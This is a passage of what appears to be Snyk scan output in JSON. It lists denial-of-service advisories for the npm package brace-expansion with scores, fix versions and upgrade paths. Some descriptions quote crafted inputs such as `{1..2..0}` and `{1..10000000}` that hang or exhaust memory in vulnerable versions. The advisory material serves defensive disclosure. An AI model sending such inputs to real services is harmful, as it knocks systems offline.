"Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": 